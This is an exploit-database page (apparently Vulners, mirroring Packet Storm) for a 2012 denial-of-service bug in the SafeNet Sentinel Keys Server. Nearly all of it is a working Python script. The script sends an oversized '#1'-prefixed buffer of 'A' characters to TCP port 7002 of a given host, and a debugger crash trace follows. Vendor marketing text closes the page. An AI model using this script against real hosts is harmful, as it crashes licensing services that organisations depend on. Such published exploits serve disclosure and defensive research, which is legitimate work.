Lucene search
K

SafeNet Sentinel Keys Server Denial Of Service

🗓️ 04 Sep 2012 00:00:00Reported by retsetType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

SafeNet Sentinel Keys Server Denial Of Service exploit using Sentinel Protection Installer v7.6.

Code
`# Exploit Title: SafeNet Sentinel Keys Server DoS  
# Date: 10 Sep 2012  
# Exploit Author: retset (https://twitter.com/ret5et)  
# Vendor Homepage: http://www.safenet-inc.com/  
# Version: Sentinel Protection Installer v7.6.5 (sntlkeyssrvr.exe ver. 1.3.1.3)  
# Download link: http://c3.safenet-inc.com/downloads/8/0/804F8C5F-F88F-4443-8871-2AD993DC33DB/Sentinel%20Protection%20Installer%207.6.5.exe  
# Download link: http://www.safenet-inc.com/support-downloads/sentinel-drivers/  
# Tested on: Xp Sp3  
  
import socket  
import sys  
  
if len(sys.argv) < 2:  
print "usage: %s host" % sys.argv[0]  
sys.exit(0)  
  
host = sys.argv[1]  
print host  
req = "#1"  
req += 'A' *0x4093  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host,7002))  
s.send(req)  
s.close()  
  
  
"""  
(5ec.6f0): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00000000 ebx=0045011c ecx=00000003 edx=00b6bf83 esi=00b70000 edi=0045011c  
eip=0040f89b esp=00b65864 ebp=0000407d iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Common Files\SafeNet Sentinel\Sentinel Keys Server\sntlkeyssrvr.exe  
sntlkeyssrvr+0xf89b:  
0040f89b f3a6 repe cmps byte ptr [esi],byte ptr es:[edi]  
"""  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation